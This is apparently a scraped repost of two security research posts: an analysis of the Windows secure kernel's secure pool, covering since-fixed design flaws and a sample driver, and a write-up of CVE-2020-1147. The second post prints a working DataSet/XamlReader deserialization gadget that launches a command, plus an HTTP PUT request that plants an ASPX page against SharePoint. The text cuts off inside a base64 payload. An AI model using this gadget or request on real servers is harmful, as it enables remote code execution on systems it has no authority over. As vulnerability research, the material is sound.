(NAR) descriptor for the address range with SkmiReserveNar and then creates an initial pool descriptor and sets global variables SkmiSecurePoolStart and SkmiSecurePoolNar. Notice that the secure pool has a fixed, hard-coded address in 0xFFFF9B0000000000: Side note: NAR stands for Normal Address Range. It’s a data structure tracking kernel address space, like VADs are used for user-space memory. Windows Internals, 7th Edition, Part 2, has an amazing section on the secure kernel written by Andrea Allevi. An interesting variable to look at here is SkmiSecurePoolStart, that gets a value of <SecurePoolBaseInKernel> - <SecurePoolBaseInSecureKernel>. Since the normal kernel and secure kernel have separate address spaces, the secure pool will be mapped in different addresses in each (as we’ve seen, it has a fixed address in the secure kernel and an ASLRed address in the normal kernel). This variable will allow SecureKernel to receive secure pool addresses from the normal kernel and translate them to secure kernel addresses, an ability that is necessary since this pool is meant to be used by the normal kernel and 3rd-party drivers. After SkmmInitializeSecurePool returns there is another call to SkInitializeSecurePool, which calls SecurePoolMgrInitialize. This function initializes a pool state structure that we chose to call SK_POOL_STATE in the global variable SecurePoolGlobalState. struct _SK_POOL_STATE { LIST_ENTRY PoolLinks; PVOID Lock; RTLP_HP_HEAP_MANAGER HeapManager; PSEGMENT_HEAP SegmentHeap; } SK_POOL_STATE, *PSK_POOL_STATE; Then it starts the heap manager and initializes a bitmap that will be used to mark allocated addresses in the secure pool. Finally, SecurePoolMgrInitialize calls RtlpHpHeapCreate to allocate a heap and create a SEGMENT_HEAP for the secure pool. The first design flaw in the original implementation is actually related to the SEGMENT_HEAP allocation. This is a subtle point unless someone has pre-read our 70 page book : due to how “metadata” allocations work, the SEGMENT_HEAP ended up being allocated as part of the secure pool, which, as per what we explained here and the Microsoft blog, means that it also ended up mapped in the VTL 0 region that encompasses the secure pool. Since SEGMENT_HEAP contains pointers to certain functions owned by the heap manager (which, in the secure pool case, is hosted in Securekernel.exe), this resulted in an information leak vulnerability that could lead to the discovery of the VTL 1 base address of SecureKernel.exe (which is ASLRed). This has now been fixed by no longer mapping the SEGMENT_HEAP structure in the VTL 0 region. Creation & Destruction Unlike the normal kernel pool, memory cannot be allocated from the secure pool directly as this would defeat the whole purpose. To get access to the secure pool, a driver first needs to call a new function – ExCreatePool. This function receives Flags, Tag, Params and an output parameter Handle. The function first validates the arguments: Flags must be equal to 3 Tag cannot be 0 Params must be 0 Handle cannot be NULL After the arguments have been validates, the function makes a secure call to service SECURESERVICE_SECURE_POOL_CREATE, sending in the tag as the only parameter. This will reach the SkSpCreateSecurePool function in Securekernel. This function calls SkobCreateObject to allocate a secure object of type SkSpStateType, and then forwards the allocated structure together with the received Tag to SecurePoolInit, which will populate it. We chose to call this structure SK_POOL, and it contains the following fields: struct _SK_POOL { LIST_ENTRY PoolLinks; PSEGMENT_HEAP SegmentHeap; LONG64 PoolAllocs; ULONG64 Tag; PRTL_CSPARSE_BITMAP AllocBitmapTracker; } SK_POOL, *PSK_POOL; It then initializes Tag to the tag supplied by the caller, and SegmentHeap and AllocBitmapTracker to the heap and bitmap that were initialized at boot and is pointed to by SecurePoolGlobalState.SegmentHeap and a global variable SecurePoolBitmapData. This structure is added to a linked list stored in SecurePoolGlobalState, which we called PoolLinks, and will contain the number of allocations done from it (PoolAllocs is initially set to zero). Finally, the function calls SkobCreateHandle to create a handle which will be returned to the caller. Now the caller can access the secure pool using this handle. When the driver no longer needs access to the pool (usually right before unloading), it needs to call ExDestroyPool with the handle it received. This will reach SecurePoolDestroy which checks that this entry contains no allocations (PoolAllocs = 0) and wasn’t modified (PoolEntry.SegmentHeap == SecurePoolGlobalState.SegmentHeap). If the validation was successful, the entry is removed from the list and the structure is freed. From that point the handle is no longer valid and cannot be used. The second design bug identified in the original build was around what the Handle value contained. In the original design, Handle was an obfuscated value created through the XORing of certain virtual addresses, which was then validated (as you’ll see in the Allocation section below) to point to a SK_POOL structure with the right fields filled out. However, due to the fact that the Secure Kernel does not use ASLR, the values part of the XOR computation were known to VTL 0 attackers. Therefore, due to the fact that the contents of an SK_POOL can be inferred and built correctly (for the same reason), a VTL 0 attacker could first create a secure pool allocation that corresponds to a fake SK_POOL, compute the address of this allocation in the VTL 1 address range (since, as explained here and in Microsoft’s blog post, there is a known delta), and then use the known XOR computation to supply this as a fake Handle to future Allocation, Update, Deallocation, and Destroy calls. Among other things, this would allow an attacker to control operations such as the PoolAllocs counter shown earlier, which is incremented/decremented at various times, which would then corrupt an adjacent VTL 1 allocation or address (since only the first 16 bytes of SK_POOL are validated). The fix, which is the new design shown here, leverages the Secure Kernel’s Object Manager to allocate and define a real object, then to create a real secure handle associated with it. Secure objects/handles cannot be faked, other than stealing someone else’s handle, but this results in VTL 0 data corruption, not VTL 1 arbitrary writes. Allocation After getting access to the secure pool, the driver can allocate memory through another new exported kernel function – ExAllocatePool3. Officially, this function is documented. But it is documented in such a useless way that it would almost be better if it wasn’t documented at all: The ExAllocatePool3 routine allocates pool memory of the specified type and returns a pointer to the allocated block. This routine is similar to ExAllocatePool2 but it adds extended parameters. This tells us basically nothing. But the POOL_EXTENDED_PARAMETER is found in Wdm.h together with the rest of the information we need, so we can get a bit of information from that: typedef enum POOL_EXTENDED_PARAMETER_TYPE { PoolExtendedParameterInvalidType = 0, PoolExtendedParameterPriority, PoolExtendedParameterSecurePool, PoolExtendedParameterMax } POOL_EXTENDED_PARAMETER_TYPE, *PPOOL_EXTENDED_PARAMETER_TYPE; #define POOL_EXTENDED_PARAMETER_TYPE_BITS 8 #define POOL_EXTENDED_PARAMETER_REQUIRED_FIELD_BITS 1 #define POOL_EXTENDED_PARAMETER_RESERVED_BITS (64 - POOL_EXTENDED_PARAMETER_TYPE_BITS - POOL_EXTENDED_PARAMETER_REQUIRED_FIELD_BITS) #define SECURE_POOL_FLAGS_NONE 0x0 #define SECURE_POOL_FLAGS_FREEABLE 0x1 #define SECURE_POOL_FLAGS_MODIFIABLE 0x2 typedef struct _POOL_EXTENDED_PARAMS_SECURE_POOL { HANDLE SecurePoolHandle; PVOID Buffer; ULONG_PTR Cookie; ULONG SecurePoolFlags; } POOL_EXTENDED_PARAMS_SECURE_POOL; typedef struct _POOL_EXTENDED_PARAMETER { struct { ULONG64 Type : POOL_EXTENDED_PARAMETER_TYPE_BITS; ULONG64 Optional : POOL_EXTENDED_PARAMETER_REQUIRED_FIELD_BITS; ULONG64 Reserved : POOL_EXTENDED_PARAMETER_RESERVED_BITS; } DUMMYSTRUCTNAME; union { ULONG64 Reserved2; PVOID Reserved3; EX_POOL_PRIORITY Priority; POOL_EXTENDED_PARAMS_SECURE_POOL* SecurePoolParams; } DUMMYUNIONNAME; } POOL_EXTENDED_PARAMETER, *PPOOL_EXTENDED_PARAMETER; typedef CONST POOL_EXTENDED_PARAMETER *PCPOOL_EXTENDED_PARAMETER; First, when we look at the POOL_EXTENDED_PARAMETER_TYPE enum, we can see 2 options – PoolExtendedParametersPriority and PoolExtendedParametersSecurePool. The official documentation has no mention of secure pool anywhere or which parameters it receives and how. By reading it, you’d think ExAllocatePool3 is just ExAllocatePool2 with an additional “priority” parameter. So back to ExAllocatePool3 – it takes in the same POOL_FLAGS parameter, but also two new ones – ExtendedParameters and ExtendedParametersCount: DECLSPEC_RESTRICT PVOID ExAllocatePool3 ( _In_ POOL_FLAGS Flags, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag, _In_ PCPOOL_EXTENDED_PARAMETER ExtendedParameters, _In_ ULONG ExtendedParametersCount ); ExtendedParameters has a Type member, which is one of the values in the POOL_EXTENDED_PARAMETERS_TYPE enum. This is the first thing that ExAllocatePool3 looks at: If the parameter type is 1 (PoolExtendedParameterPriority), the function reads the Priority field and later calls ExAllocatePoolWithTagPriority. If the type is 2 (PoolExtendedParameterSecurePool) the function reads the POOL_EXTENDED_PARAMS_SECURE_POOL structure from ExtendedParameters. Later the information from this structure is passed into ExpSecurePoolAllocate: Another interesting thing to notice is that for secure pool allocations, ExtendedParameterCount must be one (meaning no other extended parameters are allowed other than the ones related to secure pool) and flags must be POOL_FLAG_NON_PAGED. We already know that secure pool only initializes one heap, which is NonPaged, so this requirement makes sense. ExAllocatePool3 reads from ExtendedParameters a handle, buffer, cookie and flags and passes them to ExpSecurePoolAllocate together with the tag and number of bytes for this allocation. Let’s go over each of these new arguments: SecurePoolHandle is the handle received from ExCreatePool Buffer is a memory buffer containing the data to be written into this allocation. Since this is a secure pool that is not writable to drivers running in the normal kernel, SecureKernel must write the data into the allocation. The flags will determine whether this data can be modified later. Flags – The options for flags, as we saw in wdm.h, are SECURE_POOL_FLAGS_MODIFIABLE and SECURE_POOL_FLAGS_FREEABLE. As the names suggest, these determine whether the content of the allocation can be updated after it’s been created and whether this allocation can be freed. Cookie is chosen by the caller and will be used to encode the signature in the header of the new entry, together with the tag. SkSecurePoolAllocate forwards the parameters to SecurePoolAllocate, which calls SecurePoolAllocateInternal. This function calls RtlpHpAllocateHeap to allocate heap memory in the secure pool, but adds 0x10 bytes to the size requested by the user: This is done because the first 0x10 bytes of this allocation will be used for a secure pool header: struct _SK_SECURE_POOL_HEADER { ULONG_PTR Signature; ULONG Flags; ULONG Reserved; } SK_SECURE_POOL_HEADER, *PSK_SECURE_POOL_HEADER; This header contains the Flags sent by the caller (specifying whether this allocation can be modified or freed) and a signature made up of the cookie, XORed with the tag and the handle for the pool. This header will be used by SecureKernel and is not known to the caller, which will receive a pointer to the data, that is being written immediately after this header (so the user receives a pointer to <allocation start>+0x10). Before initializing the secure pool header, there is a call to SecurePoolAllocTrackerIsAlloc to validate that the header is inside the secure pool range and not inside an already allocated block. This check doesn’t make much sense here, since the header is not a user-supplied address but one that was just allocated by the function itself, but is probably the result of some extra paranoid checks (or an inline macro) that were added as a result of the second design flaw we’ll explain shortly. Then there is a call to SecurePoolAllocTrackerSetBit, to set the bit in the bitmap to mark this address as allocated, and only then the header is populated. If the allocation was successful, SkPool->PoolAllocs is incremented by 1. When this address is eventually returned to SkSecurePoolAllocate, it is adjusted to a normal kernel address with SkmiSecurePoolStart and returned to the normal kernel: Then the driver which requested the allocation can use the returned address to read it. But since this pool is protected from being written to by the normal kernel, if the driver wants to make any changes to the content, assuming that it created a modifiable allocation to begin with, it has to use another new API added for this purpose – ExSecurePoolUpdate. Going back to the bitmap — why is it necessary to track the allocation? This takes us to the third and final design flaw, which is that a secure pool header could easily be faked, since the information stored in Signature is known — the Cookie is caller-supplied, the Tag is as well, and the SecurePoolHandle too. In fact, in combination with the first flaw this is even worse, as the allocation can then be made to point to a fake SK_POOL. The idea behind this attack would be to first perform a legitimate allocation of, say, 0x40 bytes. Next, manufacture a fake SK_SECURE_POOL_HEADER at the beginning of the allocation. Finally, pass the address, plus 0x10 (the size of a header) to the Update or Free functions we’ll show next. Now, these functions will use the fake header we’ve just constructed, which among things can be made to point to a fake SK_POOL, on top of causing issues such as pool shape manipulation, double-frees, and more. By using a bitmap to track legitimate vs. non-legitimate allocations, fake pool headers immediately lead to a crash. Updating Secure Pool Allocation When a driver wants to update the contents of an allocation done in the secure pool, it has to call ExSecurePoolUpdate with the following arguments: SecurePoolHandle – the driver’s handle to the secure pool The Tag that was used for the allocation that should be modified Address of the allocation to be modified Cookie that was used when allocating this memory Offset inside the allocation Size of data to be written Pointer to a buffer containing the new data to write into this allocation Of course, as you’re about to see, the allocation must have been marked as updateable in the first place. These arguments are sent to secure kernel through a secure call, where they reach SkSecurePoolUpdate. This function passes the arguments to SecurePoolUpdate, with the allocation address adjusted to point to the correct secure kernel address. SecurePoolUpdate first validates the pool handle by XORing it with the Signature field of the SEGMENT_HEAP and making sure the result is the address of the SEGMENT_HEAP itself and then forwards the arguments to SecurePoolUpdateInternal. First this function calls SecurePoolAllocTrackerIsAlloc to check the secure pool bitmap and make sure the supplied address is allocated. Then it does some more internal validations of the allocation by calling SecurePoolValidate – an internal function which validates the input arguments by making sure that the signature field for the allocation matches Cookie ^ SecurePoolHandle ^ Tag: This check is meant to make sure that the driver that is trying to modify the allocation is the one that made it, since no other driver should have the right cookie and tag that were used when allocating it. Then SecurePoolUpdateInternal makes a few more checks: Flags field of the header has to have the SECURE_POOL_FLAGS_MODIFIABLE bit set. If this flag was not set when allocating this block, the memory cannot be modified. Size cannot be zero Offset cannot be bigger than the size of the allocation Offset + Size cannot be larger than the size of the allocation (since that would create an overflow that would write over the next allocation) If any of these checks fail, the function would bugcheck with code 0x13A (KERNEL_MODE_HEAP_CORRUPTION). Only if all the validations pass, the function will write the data in the supplied buffer into the allocation, with the requested offset and size. Freeing Secure Pool Allocation The last thing a driver can do with a pool allocation is free it, through ExFreePool2. This function, like ExAllocatePool2/3 receives ExtendedParameters and ExtendedParametersCount. If ExtendedParametersCount is zero, The function will call ExFreeHeapPool to free an allocation done in the normal kernel pool. Otherwise the only valid value for the ExtendedParameters Type field is PoolExtendedParametersSecurePool (2). If the type is correct, the function will read the secure pool parameters and validate that the Flags field is zero and that other fields are not empty. Then the requested address and tag are sent through a secure call, together with the Cookie and SecurePoolHandle that were read from ExtendedParameters: The secure kernel functions SecurePoolFree and SecurePoolFreeInternal validate the supplied address, pool handle and the header of the pool allocation that the caller wants to free, and also make sure it was allocated with the SECURE_POOL_FLAGS_FREEABLE flag. If all validations pass, the memory inside the allocation is zeroed and the allocation is freed through RtlpHpFreeHeap. Then the PoolAllocs field in the SK_POOL structure belonging to this handle is decreased and there is another check to see that the value is not below zero. Code Sample We wrote a simple example for allocating, modifying and freeing secure pool memory: #include <wdm.h> DRIVER_INITIALIZEDriverEntry; DRIVER_UNLOAD DriverUnload; HANDLE g_SecurePoolHandle; PVOID g_Allocation; VOID DriverUnload ( _In_ PDRIVER_OBJECT DriverObject ) { POOL_EXTENDED_PARAMETER extendedParams[1] = { 0 }; POOL_EXTENDED_PARAMS_SECURE_POOL securePoolParams = { 0 }; UNREFERENCED_PARAMETER(DriverObject); if (g_SecurePoolHandle != nullptr) { if (g_Allocation != nullptr) { extendedParams[0].Type = PoolExtendedParameterSecurePool; extendedParams[0].SecurePoolParams = &securePoolParams; securePoolParams.Cookie = 0x1234; securePoolParams.Buffer = nullptr; securePoolParams.SecurePoolFlags = 0; securePoolParams.SecurePoolHandle = g_SecurePoolHandle; ExFreePool2(g_Allocation, 'mySP', extendedParams, RTL_NUMBER_OF(extendedParams)); } ExDestroyPool(g_SecurePoolHandle); } return; } NTSTATUS DriverEntry ( __In__PDRIVER_OBJECT DriverObject, __In_ PUNICODE_STRING RegistryPath ) { NTSTATUS status; POOL_EXTENDED_PARAMETER extendedParams[1] = { 0 }; POOL_EXTENDED_PARAMS_SECURE_POOL securePoolParams = { 0 }; ULONG64 buffer = 0x41414141; ULONG64 updateBuffer = 0x42424242; UNREFERENCED_PARAMETER(RegistryPath); DriverObject->DriverUnload = DriverUnload; // // Create a secure pool handle // status = ExCreatePool(POOL_CREATE_FLG_SECURE_POOL | POOL_CREATE_FLG_USE_GLOBAL_POOL, 'mySP', NULL, &g_SecurePoolHandle); if (!NT_SUCCESS(status)) { DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Failed creating secure pool with status %lx\n", status); goto Exit; } DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Pool: 0x%p\n", g_SecurePoolHandle); // // Make an allocation in the secure pool // extendedParams[0].Type = PoolExtendedParameterSecurePool; extendedParams[0].SecurePoolParams = &securePoolParams; securePoolParams.Cookie = 0x1234; securePoolParams.SecurePoolFlags = SECURE_POOL_FLAGS_FREEABLE | SECURE_POOL_FLAGS_MODIFIABLE; securePoolParams.SecurePoolHandle = g_SecurePoolHandle; securePoolParams.Buffer = &buffer; g_Allocation = ExAllocatePool3(POOL_FLAG_NON_PAGED, sizeof(buffer), 'mySP', extendedParams, RTL_NUMBER_OF(extendedParams)); if (g_Allocation == nullptr) { DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL. "Failed allocating memory in secure pool\n"); status = STATUS_UNSUCCESSFUL; goto Exit; } DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Allocated: 0x%p\n", g_Allocation); // // Update the allocation // status = ExSecurePoolUpdate(g_SecurePoolHandle, 'mySP', g_Allocation, securePoolParams.Cookie, 0, sizeof(updateBuffer), &updateBuffer); if (!NT_SUCCESS(status)) { DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Failed updating allocation with status %lx\n", status); goto Exit; } DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Successfully updated allocation\n"); status = STATUS_SUCCESS; Exit: return status; } Conclusion The secure pool can be a powerful feature to help drivers protect sensitive information from other code running in kernel mode. It allows us to store memory in a way that can’t be modified, and possibly not even freed, by anyone, including the driver that allocated the memory! It has the new benefit of allowing any kernel code to make use of some of the benefits of VTL 1 protection, not limiting them to Windows code only. Like any new feature, this implementation is not perfect and might still have issues, but this is definitely a new and exciting addition that is worth keeping an eye on in upcoming Windows releases. Posted byYarden ShafirJuly 12, 2020Posted inWindows Internals Sursa: https://windows-internals.com/secure-pool/
-
SharePoint and Pwn :: Remote Code Execution Against SharePoint Server Abusing DataSet Jul 20, 2020 When CVE-2020-1147 was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I’m somewhat familiar with SharePoint Server and .net, I decided to take a look. TL;DR I share the breakdown of CVE-2020-1147 which was discovered independently by Oleksandr Mirosh, Markus Wulftange and Jonathan Birch. I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that’s your jam, move along. One of the things that stood out to me, was that Microsoft published Security Guidence related to this bug, quoting Microsoft: If the incoming XML data contains an object whose type is not in this list… An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation. Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let’s take a look at how the DataSet object is created: Understanding the DataSet Object A DataSet contains a Datatable with DataColumn(s) and DataRow(s). More importantly, it implements the ISerializable interface meaning that it can be serialized with XmlSerializer. Let’s start by creating a DataTable: static void Main(string[] args) { // instantiate the table DataTable exptable = new DataTable("exp table"); // make a column and set type information and append to the table DataColumn dc = new DataColumn("ObjectDataProviderCol"); dc.DataType = typeof(ObjectDataProvider); exptable.Columns.Add(dc); // make a row and set an object instance and append to the table DataRow row = exptable.NewRow(); row["ObjectDataProviderCol"] = new ObjectDataProvider(); exptable.Rows.Add(row); // dump the xml schema exptable.WriteXmlSchema("c:/poc-schema.xml"); } Using the WriteXmlSchema method, It’s possible to write out the schema definition. That code produces the following: <?xml version="1.0" standalone="yes"?> <xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="exp_x0020_table"> <xs:complexType> <xs:sequence> <xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> Looking into the code of DataSet it’s revealed that it exposes its own serialization methods (wrapped over XmlSerializer) using WriteXml and ReadXML: System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving) System.Data.DataSet.ReadXmlDiffgram(XmlReader reader) System.Data.XmlDataLoader.LoadData(XmlReader reader) System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested) System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns) System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader) Now, all that’s left to do is add the table to a dataset and serialize it up: DataSet ds = new DataSet("poc"); ds.Tables.Add(exptable); using (var writer = new StringWriter()) { ds.WriteXml(writer); Console.WriteLine(writer.ToString()); } These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single DataSet expected type in the instantiated XmlSerializer object graph. The DataSet Gadget Below is an example of such a gadget that can be crafted, note that this is not to be confused with the DataSet gadgets in ysoserial: <DataSet> <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Exp_x0020_Table"> <xs:complexType> <xs:sequence> <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> <somedataset> <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"/> </ProjectedProperty0> </pwn> </Exp_x0020_Table> </somedataset> </diffgr:diffgram> </DataSet> This gadget chain will call an arbitrary static method on a Type which contains no interface members. Here I used the notorious XamlReader.Parse to load malicious Xaml to execute a system command. I used the ExpandedWrapper class to load two different types as mentioned by @pwntester’s amazing research. It can be leveraged in a number of sinks, such as: XmlSerializer ser = new XmlSerializer(typeof(DataSet)); Stream reader = new FileStream("c:/poc.xml", FileMode.Open); ser.Deserialize(reader); Many applications consider DataSet to be safe, so even if the expected type can’t be controlled directly to XmlSerializer, DataSet is typically used in the object graph. However, the most interesting sink is the DataSet.ReadXml to trigger code execution: DataSet ds = new DataSet(); ds.ReadXml("c:/poc.xml"); Applying the Gadget to SharePoint Server If we take a look at ZDI-20-874, the advisory mentions the Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (DataSet) in its class name. Let’s take a look at SharePoint’s default web.config file: <controls> <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /> <add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" /> <add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" /> <add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" /> <add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" /> </controls> Under the controls tag, we can see that a prefix doesn’t exist for the Microsoft.PerformancePoint.Scorecards namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted. <configuration> <configSections> <SharePoint> <SafeControls> <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" /> ... Now that we know we can instantiate classes from that namespace, let’s dive into the code to inspect the ExcelDataSet type: namespace Microsoft.PerformancePoint.Scorecards { [Serializable] public class ExcelDataSet { The first thing I noticed is that it’s serializable, so I know that it can infact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the System.Xml.Serialization.XmlIgnoreAttribute attribute. SharePoint uses XmlSerializer for creating objects from controls so anywhere in the code where attacker supplied data can flow into TemplateControl.ParseControl, the ExcelDataSet type can be leveraged. One of the properties that stood out was the DataTable property since it contains a public setter and uses the type System.Data.DataTable. However, on closer inspection, we can see that the XmlIgnore attribute is being used, so we can’t trigger the deserialization using this setter. [XmlIgnore] public DataTable DataTable { get { if (this.dataTable == null && this.compressedDataTable != null) { this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable); if (this.dataTable == null) { this.compressedDataTable = null; } } return this.dataTable; } set { this.dataTable = value; this.compressedDataTable = null; } } The above code does reveal the partial answer though, the getter calls GetObjectFromCompressedBase64String using the compressedDataTable property. This method will decode the supplied base64, decompress the binary formatter payload and call BinaryFormatter.Deserialize with it. However, the code contains expected types for the deserialization, one of which is DataTable, So we can’t just stuff a generated TypeConfuseDelegate here. private static readonly Type[] ExpectedSerializationTypes = new Type[] { typeof(DataTable), typeof(Version) }; Inspecting the CompressedDataTable property, we can see that we have no issues setting the compressedDataTable member since it’s using System.Xml.Serialization.XmlElementAttribute attribute. [XmlElement] public string CompressedDataTable { get { if (this.compressedDataTable == null && this.dataTable != null) { this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable); } return this.compressedDataTable; } set { this.compressedDataTable = value; this.dataTable = null; } } Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous DataTable: PUT /poc.aspx HTTP/1.1 Host: <target> Authorization: <ntlm auth header> Content-Length: 1688 <%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%> <escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5m